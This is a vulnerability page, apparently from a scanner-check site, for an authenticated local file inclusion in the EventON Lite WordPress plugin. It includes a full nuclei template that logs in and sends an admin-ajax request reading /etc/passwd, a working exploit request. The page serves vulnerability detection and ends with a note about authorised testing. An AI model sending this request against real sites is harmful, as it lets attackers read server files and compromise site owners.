EventON Lite <= 2.4 - Authenticated Local File Inclusion

highseverity

8.8CVSS score

1.9%likelihood of exploitation, next 30 days

80%of all CVEs are less likely

Readycheck to confirm it

Ashan Perera EventON contains a PHP remote file inclusion caused by improper control of filename in include/require statements, letting attackers include local files, exploit requires attacker to control include filename.

Impact

Attackers can include arbitrary local files, potentially leading to code execution or information disclosure.

Fix

Update to the latest version of EventON or apply security patches to prevent file inclusion vulnerabilities.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/eventon-lite/readme.txt
Positive when: status_code == 200 and contains(body, "EventON Lite") and compare_versions(version, "<= 2.4")
Send: POST /wp-login.php ; POST /wp-admin/admin-ajax.php
Positive when: status_code == 200 and regex("root:.*:0:0:", body)

Run it with nuclei: nuclei -id CVE-2025-32614 -u <target>

The full check

id: CVE-2025-32614

info:
  name: EventON Lite <= 2.4 - Authenticated Local File Inclusion
  author: pussycat0x
  severity: high
  description: |
    Ashan Perera EventON contains a PHP remote file inclusion caused by improper control of filename in include/require statements, letting attackers include local files, exploit requires attacker to control include filename.
  impact: |
    Attackers can include arbitrary local files, potentially leading to code execution or information disclosure.
  remediation: |
    Update to the latest version of EventON or apply security patches to prevent file inclusion vulnerabilities.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/eventon-lite/eventon-241-authenticated-contributor-local-file-inclusion
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2025-32614
    epss-score: 0.0192
    epss-percentile: 0.80081
    cwe-id: CWE-98
  metadata:
    verified: true
    max-request: 3
    vendor: flavor
    product: flavor
    framework: wordpress
    publicwww-query: "/wp-content/plugins/eventon-lite/"
  tags: cve,cve2025,wordpress,wp-plugin,lfi,eventon,authenticated,wp

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/eventon-lite/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "EventON Lite")'
          - 'compare_versions(version, "<= 2.4")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - '(?i)Stable\s+tag:\s*([0-9.]+)'
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP+Cookie+check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=eventon_get_secondary_settings&settings_file=/etc/passwd

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'regex("root:.*:0:0:", body)'
        condition: and

References

https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/eventon-lite/eventon-241-authenticated-contributor-local-file-inclusion

Use this check only on systems you are authorised to test. Where the data comes from